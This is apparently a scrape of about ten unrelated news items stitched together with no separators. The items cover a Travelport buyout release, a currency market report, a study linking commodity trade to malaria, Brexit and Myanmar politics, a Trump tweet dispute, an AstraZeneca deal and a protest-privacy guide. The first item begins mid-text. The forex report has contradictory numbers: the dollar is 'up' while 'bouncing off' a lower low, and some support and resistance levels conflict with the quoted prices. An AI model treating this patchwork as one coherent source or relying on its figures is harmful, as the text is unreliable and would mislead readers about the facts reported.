Travelport is the technology company which makes the experience of buying and managing travel continually better. It operates a travel commerce platform providing distribution, technology, travel payment and other solutions for the global travel and tourism industry. The company facilitates travel commerce by connecting the world's leading travel providers with online and offline travel buyers in a proprietary business-to-business (B2B) travel platform.

Travelport has a leading position in airline merchandising, hotel content and distribution, car rental, mobile commerce and B2B payment solutions. The company also provides IT services to airlines, such as shopping, ticketing, departure control and other solutions.

About Siris

Siris is a leading private equity firm that invests primarily in technology and telecommunications companies with mission critical products and services. Its investment approach is based on a combination of proprietary research and extensive collaboration with senior operating executives, who actively participate in key aspects of the transaction lifecycle to help drive strategic and operational value. Siris is based in New York and Silicon Valley and has raised nearly $6 billion in cumulative capital commitments. www.siris.com

About Elliott and Evergreen

Elliott Management Corporation manages two multi-strategy investment funds which combined have more than $40 billion of assets under management. Its flagship fund, Elliott Associates, L.P., was founded in 1977, making it one of the oldest funds of its kind under continuous management. The Elliott funds' investors include pension plans, sovereign wealth funds, endowments, foundations, funds-of-funds, high net worth individuals and families, and employees of the firm. This investment has been led by Evergreen Coast Capital, Elliott's Menlo Park affiliate, which focuses on technology investing.

SOURCE Travelport Limited; Siris Capital Group, LLC; Elliott Management


CANBERA (dpa-AFX) - The U.S. dollar firmed against its most major trading partners in the European session on Friday, as the economy added jobs unexpectedly in May, reflecting relaxation of restrictions and partial resumption of businesses after the COVID-19-induced shut down.



Data from the Labor Department showed that non-farm payroll employment jumped by 2.51 million jobs in May after plummeting by a revised 20.69 million jobs in April.



Economists had expected a drop of 8.0 million jobs following the nosedive of 20.5 million jobs originally reported for the previous month.



The Labor Department said the improvements in the labor market reflected a limited resumption of economic activity that had been curtailed in March and April due to the coronavirus pandemic and efforts to contain the spread of the disease.



With the unexpected rebound in employment, the Labor Department said the unemployment rate dropped to 13.3 percent in May from 14.7 percent in April. Economists had expected the unemployment rate to surge up to 19.8 percent.



Optimism prevailed as investors welcomed new stimulus efforts in Europe to contain the economic fallout from the coronavirus pandemic.



The European Central Bank announced Thursday it will increase its Pandemic Emergency Purchase program by a further 600 billion euros to support funding conditions in the real economy, especially for businesses and households. Markets were expecting an increase of 500 billion euros.



The currency showed mixed trading in the Asian session. While it fell against the euro and the pound, it rose against the franc and the yen.



The greenback appreciated to 109.70 against the yen, its highest level since March 27, and logged a 0.6 percent rise from a low of 109.03 set at 5:30 pm ET. The pair was worth 109.11 when it ended deals on Thursday. Immediate resistance for the greenback is likely seen around the 112.5 level.



Data from the Cabinet Office showed that the Japan leading index declined to the lowest in eleven years.



The leading index, which measures the future economic activity, fell to 76.2 in April from 85.1 in March. Economists had expected a score of 84.5.



The USD/CHF pair approached a 2-day high of 0.9644, after falling to 0.9542 at 2:15 am ET, which was its lowest level in more than two months. At Thursday's close, the pair was valued at 0.9554. The greenback is likely to face resistance around the 1.00 region, if it gains again.



The greenback was up 0.9 percent at 1.1282 against the euro, bouncing off from a 3-month low of 1.1384 seen at 2:30 am ET. The pair had closed Thursday's deals at 1.1338. The greenback is seen facing resistance around the 1.10 mark.



Preliminary figures from the statistical office Destatis showed that Germany's manufacturing orders declined at a record pace in April, extending the trend from the previous month, as the coronavirus pandemic hurt demand severely.



New orders in manufacturing fell a seasonally and calendar-adjusted 25.8 percent from March, when they declined 15 percent, which was revised from 15.6 percent. Economists had forecast a 19.7 percent slump.



On the flip side, the greenback fell to the lowest level in nearly three months against the pound, at 1.2705. The pound-greenback pair had finished yesterday's trading session at 1.2596. Should the greenback falls further, it is likely to test support around the 1.30 region.



Survey results from the Lloyds Bank subsidiary Halifax showed that UK house prices fell for a third successive month in May, though activity started picking up slightly, after the lockdown restrictions imposed to slow the spread of the coronavirus, or Covid-19, were partly eased.



The house price index decreased 0.2 percent after a 0.6 percent decline in April.



The greenback depreciated to a 3-month low of 1.3391 against the loonie, down by 0.8 percent from Thursday's closing value of 1.3498. The greenback may challenge support around the 1.31 mark.



The greenback shed 1 percent against the kiwi, falling to over a 4-month low of 0.6528. At yesterday's trading close, the pair was quoted at 0.6462. Extension of the greenback's downtrend may lead it to a support around the 0.66 region.



The greenback held steady against the aussie, after having dropped to a 5-month low of 0.7013 at 3:30 am ET. The aussie-greenback pair was worth 0.6943 at Thursday's close.



Copyright RTT News/dpa-AFX

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Malaria incidence correlates closely with landscape change due to deforestation. Credit: Maria Anice Mureb Sallum's team

A paper recently published in Nature Communications is the first to show a connection between demand from certain developed countries for agricultural commodities and the growing risk of malaria in the countries that supply those goods. The study was conducted by scientists affiliated with the School of Public Health of the University of Sao Paulo (FSP-USP) in Brazil and colleagues at the University of Sydney in Australia.

According to the article, approximately 20% of the malaria risk in deforestation hotspots is due to the international trade in goods such as timber, wood products, tobacco, cocoa, coffee and cotton.

The researchers used data for the period 2000-2015. The methodology, which correlates world trade routes with data on forest cover loss in the agricultural commodity exporting countries where malaria occurs, was developed by Maria Anice Mureb Sallum, a professor at FSP-USP, and her Ph.D. student Leonardo Suveges Moreira Chaves, the first author of the article, in collaboration with Manfred Lenzen, a professor at the University of Sydney, and his research group.

"Lenzen maintains a database on international trade covering 189 countries and sources such as the World Trade Organization and World Bank, among others," Sallum said. "We know from the data who sells what and where, who they sell to, who processes the commodities, and where the processed end-products are consumed. For example, certain countries buy cocoa, produce chocolate and export to the rest of the world. All links in the supply chain were taken into account."

According to Suveges, more than 1 billion commodity trade routes were analyzed by Lenzen and his group using high-performance computing. "Malaria incidence correlates closely with landscape change due to deforestation, which favors the proliferation of vectors and exposes human communities to these insects," Suveges explained. "So, we attributed part of the total number of malaria cases to deforestation and called it 'malaria risk,' meaning how many cases there would be in the presence of deforestation but in the absence of public health interventions to control the disease, such as insecticide-impregnated mosquito netting and artemisinin-based drug treatment. Part of this risk is associated with the world trade in commodities."

The researchers selected the countries that had cases of malaria and deforestation hotspots and cross-tabulated this dataset with commodity supply chain data, particularly for the final destinations of the goods in question. They concluded that 10% of deforestation-linked malaria risk was associated with ten countries that import these commodities: Germany, the United States, Japan, China, the United Kingdom, France, Italy, Spain, the Netherlands, and Belgium.

The demand for certain commodities in these countries may exacerbate the malaria risk for 10.7 million people in low-income net exporting countries, mostly in sub-Saharan Africa.

Malaria risk by numbers

Deforestation-implicated malaria risk, as defined by the researchers, was highest in Nigeria, corresponding to 5.98 million cases in 2015. These were due in part to exports of timber to China (USD 332 million in 2015) and exports of cocoa beans to the Netherlands (USD 334 million), Germany (USD 72 million), and Belgium, France, Spain and Italy (USD 35 million), as well as exports of charcoal to Europe (USD 35 million).

Next came Tanzania, with 5.66 million people at risk of deforestation-linked malaria in 2015, partly owing to exports of raw tobacco to Europe and Asia (USD 344 million), raw cotton to Southeast Asia (USD 41 million), and sawn timber to India (USD 20 million).

Uganda had 5.49 million deforestation-linked malaria risk cases, potentially driven by exports of raw coffee to Italy (USD 88 million in 2015), Germany (USD 63 million), Belgium (USD 40 million), the United States and Spain (USD 21 million each) and to a lesser extent by exports of raw cotton to South and Southeast Asia (USD 15 million).

Finally, the authors write that deforestation-linked malaria in Cameroon (5.49 million risk cases) could be connected to exports of cocoa to the Netherlands (USD 300 million), Spain, Belgium, France and Germany (altogether USD 79 million in 2015), rough timber to China (USD 175 million), and sawn timber to China, Belgium, Italy, the United States, and many other destinations (altogether USD 440 million).

According to the article, other countries with high levels of deforestation-linked malaria risk were (in descending order) DR Congo, India, Zambia, Myanmar, the Central African Republic, and Burundi. Their main trading partner was China, to which they mainly exported timber.

In a supplementary note to the article, the authors add that Chinese imports of commodities in 2015 accounted for 1.7 million cases of malaria in countries where deforestation is linked to the production and export of the commodities in question. Next came imports by Germany, accounting for 1.5 million cases, followed by Japan (986,000), the United States (770,000), the United Kingdom (815,000), Italy (595,000), the Netherlands (581,000), Spain (466,000), France (463,000), and Belgium (361,000).

Insufficient compensation

"It's striking that the U.S., the U.K., France, Germany and Japan, some of the main importers of malaria-implicated products, provide financial support for malaria control programs, especially in sub-Saharan Africa," Suveges said.

However, the numbers do not add up. In 2017, global investment in malaria control and prevention totaled USD 3.2 billion, with high-income donors providing 72%. However, the authors write that malaria-endemic countries bore 28% of the total, which was less than half of what was required to reduce malaria morbidity and mortality rates in line with Health Target 3.3 of the Sustainable Development Goals (SDGs) proposed for 2030 by the United Nations.

The countries that produce and export commodities remained in this position throughout the period analyzed, Sallum stressed. "We know from previously published studies that malaria is affected by the social impact of economic development, when people have better housing and better conditions for land use, all of which protects them. If commodity exporters became suppliers of manufactured goods, they would add more value to their production, and their societies would benefit. This in turn could reduce the need for deforestation and mitigate malaria risk," she said.

"However, the fact that supply chain roles don't change demonstrates the inequality prevailing in these relations. Commodity prices are set by the importers."

Explore further Is your coffee contributing to malaria risk?

More information: Leonardo Suveges Moreira Chaves et al, Global consumption and international trade in deforestation-associated commodities could influence malaria risk, Nature Communications (2020). Journal information: Nature Communications Leonardo Suveges Moreira Chaves et al, Global consumption and international trade in deforestation-associated commodities could influence malaria risk,(2020). DOI: 10.1038/s41467-020-14954-1
- Dentaa Amoateng, a Ghanaian entrepreneur has been awarded in New Delhi, India for her efforts towards COVID-19 response

- Amoateng, who is the president of the GUBA Enterprise has been holding webinars to educate people about COVID-19 among others

- The amazing lady received the award in a virtual ceremony was held by the International Womens Club, New Delhi

Our Manifesto: This is what YEN.com.gh believes in

An amazing Ghanaian entrepreneur by name Dentaa Amoateng, who is the president of the GUBA Enterprise has received a Certificate of Honour for her valuable contribution towards the COVID-19 disaster response.

In a report by AmeyawDebrah.com, it is indicated that the lady received the award in a virtual ceremony was held by the International Womens Club, New Delhi on May 29, 2020.

As part of efforts to create a dialogue and opportunity for many, Amoateng has been holding a series of webinars and live interviews so far during the COVID-19 pandemic.

READ ALSO: Ghanaian lady with breast cancer needs help as landlord wants her out over bad smell

Source: UGC

Source: UGC

In addition, her GUBA Enterprise has also partnered on two significant projects aimed at providing relief for the affected during this pandemic.

The award which is endorsed by the High Commission of the Republic of Ghana in New Delhi was part of the First International Congress held by the International Womens Club, it also comes in recognition of her leadership in fighting against the pandemic.

Speaking about the recognition and the award, the phenomenal lady said it came to her as a very pleasant surprise.

READ ALSO: Dad's post goes viral after hilarious, honest review on baby daughter's mini restaurant

In her own narration, It is truly an amazing feeling to receive such an award. It is an even more pleasant surprise to have my efforts noticed in India. COVID-19 requires a global effort and I urge everyone to play a role in putting an end to this pandemic.

In another amazing report by YEN.com.gh, renowned Ghanaian sprinter Joseph Paul Amoah has successfully graduated from the Coppin State University in the United States with an admirable degree in Accounting.

In a post sighted by YEN.com.gh on the personal Instagram handle of the Ghanaian athlete, Joseph Amoah was sighted at different parts of the university in his graduation gown and cap.

Joseph posted the photos along with the caption, Not about where you are, but who you are signifying the somewhat long journey from Kumasi to the United States.

Enjoy reading our stories? Download YEN's news app on Google Play now and stay up-to-date with major Ghana news!

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Source: YEN.com.gh
Everything seems bigger in nature, whether its the trees, the waterways, or even the sounds. With the idea of amplifying the natural vibrations of a forest in mind, a group of architecture students built and placed three massive megaphones in the Estonian wilderness to create an experience open to anyone willing to make the journey.

One of three giant megaphones that comprise the Estonian Academy of Arts

Located about three hours from the capital, near the RMK Pahni Nature Center in Varstu Parish, Estonia, the handmade wooden megaphones sit among the fir trees, surrounded by nothing but the sounds of chirping birds and rustling leaves.

The project is the brainchild of architecture students from the Estonian Academy of Arts. The group built and installed the megaphones  individually called RUUP  in conjunction with an acoustics engineer consultant back in 2015. The goal was to experiment with surround-sound amplification inside an unlikely location, the outside. More specifically, Estonias Voru county forest.

Travelers lay down inside a RUUP megaphone to experience the amplified sounds of nature.

Estonias forests cover nearly half of its total area, and all of them are available to residents and visitors for recreational activities year-round. As you can imagine, finding a remote location away from the noise pollution of cities was not difficult here. Even with the off-the-beaten path placement, the installation manages to attract hikers, musicians, and solitude seekers, each looking for their own experience.

A group of architecture students from the Estonian Academy of Arts works hard to construct the giant RUUP megaphones.

A group of architecture students from the Estonian Academy of Arts works hard to construct the giant RUUP megaphones.

Hannes Praks, course advisor and Head of the Interior Architecture Department at the Estonian Academy of Arts, shared his perspective on the projects remote location, stating: the farther we get from the intense vibration of the capital, the better we are able to sense the low-frequency vibration of nature. This is why the installation would be missing its essence if it were to be located next to Tallinn. In the megaphones, a certain surround sound effect, communicated by the megaphones when the distance and angle is just right, is worth testing.

Story continues

The massive structures measure three meters in diameter, with each one sitting six meters from the center of a large circle. With the help of a map from the somewhat nearby visitors center, artists and nature enthusiasts can visit for a moment, an afternoon, or even camp out overnight. Musicians have flocked to the area to experience the sound of music played from inside a RUUF, hosting small-scale cultural events and concerts. Others visit simply to view the architectural design, or to delve deep into meditation within the natural setting.

A musician pays and sings inside one of the giant wooden megaphones.

Rear view of the giant RUUP megaphones, nestled neatly between the firs of the Estonian forest.

Each handbuilt megaphone allows visitors to peer through either the large opening or the smaller frame on the other end. Although the initial goal may have been to create a surround sound of natures music, the display also seems to have opened the possibilities for other ways to experience the space. Exploring the structures from the front, back, and center of the circle all yield different amplification experiences, but some debate whether they really amplify the sounds at all, inviting visitors to also step outside the RUUF to contemplate the difference in sound. In this way, the attraction also draws visitors into nature, putting the spotlight on what the forest has to offer, both as a sensory experience and as an opportunity to be introspective. Some might even say the project allows you to listen to your own thoughts more than the sounds of the world around you.
Michel Barnier said on Friday that there has been no progress following the latest round of Brexit talks between the EU and UK. (European Commission)

Michel Barnier has accused the UK of seeking to distance themselves from a Brexit agreement.

The EUs chief Brexit negotiator said on Friday there have been no significant areas of progress as he warned: I dont think we can go on like this forever.

It comes after the conclusion of a fourth round of future relationship talks led by Barnier for the EU and David Frost  Boris Johnsons chief negotiator  for the UK.

He said the UK continues to backtrack on its previous commitments to the EU made under the political declaration agreed in October last year.

Michel Barnier accused Boris Johnson's government of 'backtracking' on its previous agreement. (PA)

We cannot and will not accept this, he added.

Barnier said there remains a deadlock on trade, nuclear safety, anti-money laundering and counter-terrorism financing measures, and fisheries.

He said: Round after round, our British counterparts seek to distance themselves from this common basis.

The UK, after leaving the EU on 31 January, is currently in a transition period in which the two sides have until 31 December to agree their future relationship.

During the transition period, the UK effectively remains a member of the EU. It can be extended for up to two years, but Downing Street must give notice of this by 30 June.

Barnier said the EU hopes to restart face-to-face talks ahead of this deadline.

He added the door is still open for an extension.

Because of the coronavirus crisis, there have been calls for Number 10 to extend the transition period, with leaders primarily focused on the pandemic.

However, the government has insisted it will not be seeking an extension.

There is mounting concern among business  already hit hard by the fallout from the pandemic  at the prospect of a cliff edge break to the UKs remaining access to the EU single market with no new deal to replace it.

Frost, meanwhile, said progress remains limited but our talks have been positive in tone.

Negotiations will continue and we remain committed to a successful outcome.
A resolution moved by the Army Representatives and the members of the Army Proxy- the USDP to remove Speaker as he was supposed to have violated the Constitution and Parliamentary laws was overwhelmingly voted down by 243 members of the Parliament.





by Dr. S. Chandrasekharan





For some time, it was thought that the supposed democratic Constitution of Myanmar of 2008 that gave the Army a significant role in governance and a Parliament with 25 percent of the seats reserved for serving officers, the civilian government had hardly any leg room to freely function as a genuine democratic state. One well known Analyst called it a  Hybrid Democracy. Built into the Constitution was that important portfolios like Defence, Home and border management were also to be headed by serving Army Officers.





Future of Myanmar





The Army had also a proxy USDP as a political party that contested elections in November 2015 and had a few seats.





With the exception of Suu Kyi out maneuvering the Army by creating the post of a State Councillor who acted as the Chief Executive, the Ruling party NLD could do nothing in the last four years to assert itself. Suu Kyi, still appeared to believe in gradual transformation and her efforts to amend the Constitution to reduce the control of the Army in the Constitution also failed when none of the amendments could be gone through. The Armys Representatives en bloc voted against any constitutional amendment.





It is in this situation we find a refreshing change in Suu Kyis Government asserting itself now. May be, that these decisions were taken in view of the impending General elections towards the end of the year, but it required quite a bit of courage for the civilian government to finally assert itself vis a vis the Myanmar Army (Tatmadaw).





On 28th May, for the first time, the Union Parliament declined to approve in full the additional Army budget requested by cutting US $ 7.57 million. The Defence Minister Lt. Gen. Sein Win pleaded with the Parliament not to cut the budget. He gave four reasons for granting the full amount asked for. These were





1. To cover daily allowance for the Soldiers who are undertaking operations.

2. Funds required for transportation, rental fees for transport of rations.

3. Costs of aviation fuel and operational support material.

4. Cost towards using Choppers for transporting not only soldiers and other military uses but also transport of Civil servants, Currency, High school examination papers as well as other uses.





Despite the plea, the Parliament stood firm in cutting the budget of the Army.





The fact of the matter is that the Army is incurring enormous costs in continuing the war against the Arakan Army in Northern Rakhine and now spread to Chin area around Paletwa.





Despite the declaration of a cease-fire by the Arakan Army as part of the Three Brother hood Alliance, the Army did not agree to the cease-fire in the Rakhine Area. As one Observer said in describing the conflict in Rakhine that never before in the seven-decade old conflict has there been what is seen in the present conflict with the Arakan Army as the longest, heaviest and worst seen so far.





There has been complete lock down and Internet Blackout for a very long time. Over 150000 villagers have been displaced so far. There are reports of heavy shelling of the Army against the villages like the one on May 1 at Roka Wa Village of Paletwa and again one incident of very heavy fighting at Thazin Myang.





Earlier Suu Kyis Government together with the Army leadership had decided to go all out to eliminate the Arakan Army but the fighting has not gone the way the Army wanted. Both sides have taken prisoners and there are a few desertions of Non Bamar individuals from the Army.





It is yet not clear whether by not accepting an increased budget to carry out the operations now only in Rakhine and Chin State,the civilian government is giving a signal to the Army to go slow in the operations. But it is necessary to review the operations as the Arakan Army has the full support of its people.





In declaring the cease-fire till May 31st ( could have been extended by now) the Arakan Army has indicated that the cease fire is required to 1. Start a political dialogue 2. Development of People 3. Protect the life and property of general Public and maintain stability 4. More importantly to support the preventive and combative measures to curb the spread of Covid-19 Virus.





The appeal apparently had fallen on deaf ears. There were reports that Government did send out medical equipment and other support materials to all ethnic insurgent units including the Wa group, but there is no mention of sending such supplies to the Arakan Army!





It is time for Suu Kyi to rethink for a bilateral cease-fire and go for talks instead of the Army threatening to attack other ethnic insurgent entities like the Kachn for letting the the Arakan Army stay and train in their areas!





June 1st was another historic day for Myanmar Civilian Government when the Army-sponsored resolution to impeach the Speaker of the Parliament Khun Myat was rejected outright.





A resolution moved by the Army Representatives and the members of the Army Proxy- the USDP to remove Speaker as he was supposed to have violated the Constitution and Parliamentary laws was overwhelmingly voted down by 243 members of the Parliament.





The Charge led by the Army Representative, Lt. Col Myo htet Win said 1. that the Speaker broke the law by allowing the NLD the Ruling Party to submit an urgent proposal to form a Constitutional Amendment Committee in January 2019 2. By blocking a full parliamentary debate on a charter amendment proposal submitted by the Military 3. Of Misusing his power in preventing a debate on impeachment 4. Committed an act of negligence and dishonestly blocking motions that were important for the nation and the citizens.





There is no doubt that the Army representatives in the Parliament moved the resolution on the instructions of their Army Chief who chose to show his indignation by letting the Army go for removal of the Speaker and perhaps testing the civilian government in the process!
Sen. Lisa Murkowski (R-Alaska) walks through the Senate subway area during a break in impeachment proceedings, in the Capitol in Washington on Jan. 28, 2020. (Charlotte Cuthbertson/The Epoch Times)

Trump Vows to Campaign for Any Candidate Challenging Sen. Lisa Murkowski

President Donald Trump on Thursday said he would endorse any candidate who would run against Sen. Lisa Murkowski (R-Alaska) after the senator came out in support of a statement from former defense secretary James Mattis that heavily criticized Trump.

Murkowski, a swing-vote senator, had told reporters earlier on Thursday that she is struggling with the idea of voting for Trump, and said that Mattiss recent public statement was true and honest and necessary and overdue.

Following Murkowskis comments, Trump wrote on Twitter, Few people know where theyll be in two years from now, but I do, in the Great State of Alaska (which I love) campaigning against Senator Lisa Murkowski.

She voted against HealthCare, Justice Kavanaugh, and much else, Trump continued. Unrelated, I gave Alaska ANWR [Arctic National Wildlife Refuge], major highways, and more. Get any candidate ready, good or bad, I dont care, Im endorsing. If you have a pulse, Im with you!

Unrelated, I gave Alaska ANWR, major highways, and more. Get any candidate ready, good or bad, I dont care, Im endorsing. If you have a pulse, Im with you!  Donald J. Trump (@realDonaldTrump) June 4, 2020

Mattis, a retired Marine four-star general, issued a heavily critical statement against Trump on Wednesday. Mattis accused the president of causing division among the American people and alleged that Trump has been putting deliberate effort over the past three years to that end.

Later that day, Trump issued a comment on Twitter saying that he had the honor of firing Jim Mattis, the worlds most overrated General.

He later added on Thursday, The problem with asking for someone to give you a letter of resignation, which you do as a courtesy to help them save face, is that it is then harder to say you fired them. I did fire James Mattis. He was no good for Obama, who fired him also, and was no good for me!

The problem with asking for someone to give you a letter of resignation, which you do as a courtesy to help them save face, is that it is then harder to say you fired them. I did fire James Mattis. He was no good for Obama, who fired him also, and was no good for me!  Donald J. Trump (@realDonaldTrump) June 4, 2020

On Monday, June 1, around 7:00 p.m., Trump walked across Lafayette Square from the White House to St. Johns Church and held up a bible. He was accompanied by senior aides, along with Secret Service agents and reporters. The church had been partially damaged due to arson over the weekend.

We have the greatest country in the world, Trump said at the church, where many past presidents have attended services. Were going to keep it safe.

President Donald Trump holds a Bible as he visits outside St. Johns Church across Lafayette Park from the White House, in Washington, on June 1, 2020. (Patrick Semansky/AP Photo)

President Donald Trump walks in Lafayette Park to visit outside St. Johns Church across from the White House in Washington on June 1, 2020. Part of the church was set on fire during riots on Sunday night. (Patrick Semansky/AP Photo)

U.S. Park Police had evacuated protesters at the park around 6:30 p.m., ahead of a 7 p.m. to 6 a.m. curfew imposed by Washington Mayor Muriel Bowser. Police officers used smoke canisters and pepper balls to aid them in dispersing the crowd after protesters became combative and started throwing objects at the officers, according to a USPP statement.

Protestors run as riot police fire crowd control devices and move on demonstrators to clear Lafayette Park and the area around it across from the White House, in Washington, June 1, 2020. (Reuters/Ken Cedeno)

Police on horseback begin to approach demonstrators who had gathered to protest the death of George Floyd, near the White House in Washington on June 1, 2020. (Evan Vucci/AP Photo)

Republicans criticized Trump over what happened on June 1, including Sens. Ben Sasse (R-Neb.) and Susan Collins (R-Maine).

There is no right to riot, no right to destroy others property and no right to throw rocks at police, Sasse said in a statement on June 2. But there is a fundamentala constitutionalright to protest, and Im against clearing out a peaceful protest for a photo op that treats the word of God as a political prop.

It was painful to watch peaceful protesters be subjected to tear gas in order for the president to go across the street to a church that I believe hes attended only once, Collins told reporters on June 2.

All of us are upset at the fire that was set at the church, a historic house of worship for many, many presidents, but I thought the president came across as unsympathetic and as insensitive to the rights of people to peacefully protest, she added.

Sen. Mitt Romney (R-Utah) told reporters on Thursday that Mattis statement was stunning and powerful and described Mattis as an American patriot.

I think the world of him. If I ever had to choose somebody to be in a foxhole with, it would be with General Mattis, Romney added.

The American Civil Liberties Union (ACLU) and other groups filed a lawsuit on behalf of Black Lives Matter against the Trump administration on Thursday, alleging that officials had violated the civil rights of protesters in clearing out the area prior to Trumps trip across the square to the church.

George Floyd died after a Minneapolis police officer knelt on his neck for nearly nine minutes during an arrest on May 25. A memorial service was held for Floyd in Minneapolis on Thursday.

Floyds death and the events leading to it sparked nationwide protests expressing grief over police brutality. But in many instances, acts of violence, arson, and looting have marred the initially peaceful demonstrations.

Amid violent activities across the nation, the National Guard has been deployed in at least 31 U.S. states at the request of governors, and the Pentagon has moved about 1,600 troops into the Washington area.

Zachary Stieber contributed to this report.
AstraZeneca PLC AZN announced that it will collaborate with Massachusetts-based private biotech Accent Therapeutics to discover and develop/commercialize transformative therapeutics targeting RNA-modifying proteins (RMPs) for the treatment of cancer.

This oncology collaboration focuses on targeting RMPs, a new approach to addressing the process disruptions that can cause cancer.

Per the deal, Accent will receive an upfront payment of $55 million from AstraZeneca and be also eligible to receive additional success-based payments in the form of option fees and milestones along with tiered royalties on net sales ranging from a mid-single digit to low-double digits.

According to the alliance, Accent will be responsible for preclinical and phase I development, after which AstraZeneca will lead the developmental and commercialization activities for the program. Once AstraZeneca looks into the development aspect, Accent has the option to jointly develop/commercialize the candidate in the United States. Meanwhile, if Accent opts for co-developing and co-commercializing the nominated program, profits and losses will be split between the two companies in the United States.

Shares of AstraZeneca have rallied 10.3% so far this year against the industrys decrease of 1.1%.



We note that AstraZeneca is working to bolster its pipeline and is looking at suitable partnerships to that end.

AstraZeneca has co-development contracts with several small companies like Innate Pharma, FibroGen FGEN, Moderna MRNA and Daiichi Sankyo to boost its pipeline. The company also has a profit- sharing pact with pharma giant Merck MRK for the development and commercialization of oncology drugs, Lynparza and Koselugo (selumetinib).

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The response to protests against police brutality, ignited by the murder of Geoge Floyd, have been nothing short of draconian. While government forces on the ground gleefully beat protesters and passersby with batons and doused them with tear gas, the US Border Patrol has deployed Reaper drones to surveil citizens from the skies and the DEA has been tasked with tracking protesters. The outsized surveillance response displayed so far by the Feds has driven concerns from privacy advocates over the potential use of more insidious forms of snooping, from facial recognition algorithms to cell-site simulation (aka the Stingray and Crossbow systems.)

People stuck in traffic are witnessing NYPD beat up folks on their way home. pic.twitter.com/AkUGPQQOIf  Josh Fox BlackLivesMatter (@joshfoxfilm) June 4, 2020

All the technology we have been warning about for a while are starting to come to fruition in these protests, Dave Maass, a senior investigative researcher at digital rights group the Electronic Frontier Foundation, told Reuters on Monday. Theyre bringing out the whole range.

While there isnt a whole lot you can do against a cop with a can of mace and an itchy trigger finger, there are plenty of ways to protect your safety, identity and personal data when youre out exercising your First Amendment rights.

Youll have to do more than follow the Wu-Tangs advice to protect ya neck if you want to avoid the wrath of the police, youll need to protect your whole damn head. The cops have recently taken a page out of Chiles playbook and started aiming rubber bullets at protesters (and especially journalists) faces and eyes. As such, youll want to carry a set of ANSI Z87+ certified ballistic eye protection with you while protesting. They might just save your vision. And for gods sake, bring an umbrella to ward off the pepper ball volleys.

Targeted attacks on journalists, media crews and news organizations covering the demonstrations show a complete disregard for their critical role in documenting issues of public interest and are an unacceptable attempt to intimidate them, Carlos MartInez de la Serna, program director of the Committee to Protect Journalists, told the Columbus Dispatch. Authorities in cities across the U.S. need to instruct police not to target journalists and ensure they can report safely on the protests without fear of injury or retaliation.

Protecting your identity, unfortunately, isnt as simple as sliding on a pair of specs. Numerous police forces throughout the US have partnered with facial recognition firms like Clearview AI to identify protesters and potentially intimidate them into silence. To keep your identity under wraps, youll want to keep your head under wraps as well. Unfortunately, using makeup and hair styling such as CVDazzle to ward off computer vision systems will not do you any good.

Besides being designed to thwart technology that is now close to a decade old, CVDazzle is only capable of confounding the facial recognition algorithm itself -- it doesnt prevent tracking based on your build, clothing or walking gait. Plus, should a human review the video, theyll easily be able to spot the one member of the crowd running around looking like A Flock of Seagulls on acid. Whats more, once the tear gas starts flowing, wearing contact lenses and eye makeup -- really any oil-based product, including sunscreen -- can exacerbate the gas irritating effects. Jip van Leeuwensteins "surveillance exclusion" mask or Jing-cai Lius wearable face projector both run into the same issue. They may be able to fool an algorithm but theyre easy to spot with the human eye.

No mask? Tension nahin Leneka! Simple hai! pic.twitter.com/NSNPMikDZ3  Ronit Bose Roy (@RonitBoseRoy) April 20, 2020

Instead, youll want to wear a mask that covers as much of your face and head as possible and keep it on. Assuming you dont have access to one of URME Surveillances photo-realistic 3D-printed masks that fool AIs into thinking youre the companys president, you can easily make a balaclava out of any old t-shirt you have lying around. If possible, wear your existing N-95 or cloth mask underneath it. Were still in the midst of a global pandemic here people and the corrupt power structures of this nation will not tear themselves down if youre laid up in the ICU.

The Los Angeles chapter of the Democratic Socialists of America recommends that protesters practice the same counter-COVID procedures weve spent the last three months perfecting. That includes staying six feet apart and avoiding physical contact whenever possible, though the police may have a different opinion on that latter point.

Since youll be spending a lot of time on your feet and likely running from the police at some point during the demonstration, its important to pack light. At the bare minimum, bring along a personal first aid kit, snacks, any medications you need, as well as a couple bottles of water, not only for hydration but to help rinse out your eyes in the event of a tear gas attack. Liquid Maalox works too as does a mix of 3 teaspoons of baking soda to 8.5 ounces of water, which is the mix that the Hong Kong protesters swore by. Most importantly, make sure your friends and loved ones know where you are going, when you plan to return and then check in regularly.

Take extra sharpie pens. Take a notebook. Write a bail fund or your lawyers number on your arm in permanent marker. Take water. Take more water. Take liquid antacid. Take a friend, or make one when you get there.  Linda Tirado (@KillerMartinis) June 2, 2020

The most important thing you can bring with you is a phone, however, it can become a liability if you fail to properly secure it against unauthorized snooping. Luckily, thats easy to fix. First and foremost, turn off your FaceID and fingerprint readers -- the police can force you to unlock your phone using these methods if youve been detained but theyll have a much harder time trying to crack through a 9-digit pin that youve conveniently forgotten due to the stress of your arrest.

Second, encrypt your phone. Its easy to do for both Android and iOS. If youd prefer not to risk your primary phone being damaged or confiscated during the protests, pack along an older model that youve wiped of all personal data or splurge on a burner phone that you can simply ditch after the demonstrations have ended. Do not, under any circumstances however, reuse that phone for any reason other than protecting your identity while protesting. I mean, thats literally the point of having a burner in the first place.

Third, do not -- and I cannot stress this enough -- communicate using the phones standard voice and text features. Download and use Signal instead so that your conversations cant be easily intercepted. Be sure to turn on the Disappearing Messages function to delete conversations after theyve been read. Heck, its even got a handy automatic facial blurring tool to help protect the identities of your fellow protesters.

Speaking of which, if you plan to document your experience at the protest, follow the basic rules of photography etiquette. Specifically, avoid filming the faces, scars, tattoos and other identifying features of your fellow protesters before posting them. While youre at it, turn off the geotagging and location tracking features for every app on your phone to help obfuscate where and when the image was captured. And in the event that youll catch the cops being bastards, take a read through Teen Vogues most excellent guide to safely and ethically filming the police.

Perhaps the most insidious threat youll face while protesting isnt the tear gas, attack dogs or billy clubs, its having location data siphoned from your phone and used against you. International Mobile Subscriber Identity catchers -- more commonly known as the Stingray, though thats only one of the broader class of cell-site spoofing (CSS) systems -- are employed by law enforcement organizations across the country. They act as mobile cell towers, offering unwitting smartphones the strongest available signal strength in the area to induce the phone to connect, upon which the CSS will record the phones IMSI and then release the phone back to the regular network. Since the ISMI is generated by your carrier and stored on the phones SIM card, it can be linked back to the account holder allowing the police to track your whereabouts. For more information on the nuts and bolts of Stingray technology, the EFF has put together an authoritative guide to their operation.

Their full range of capabilities remains a mystery, however it appears that keeping your phone in airplane mode unless youre actively using it to make calls can help mitigate some of the risk, though carrying a burner phone can mitigate that to a much higher degree. The Apple and Google stores are both stocked with counter-IMSI apps such as Android IMSI-Catcher Detector (AIMSICD), SnoopSnitch, Sitch, GSM Spy Finder, and Cell Spy Catcher though none have proven particularly effective against the catchers.
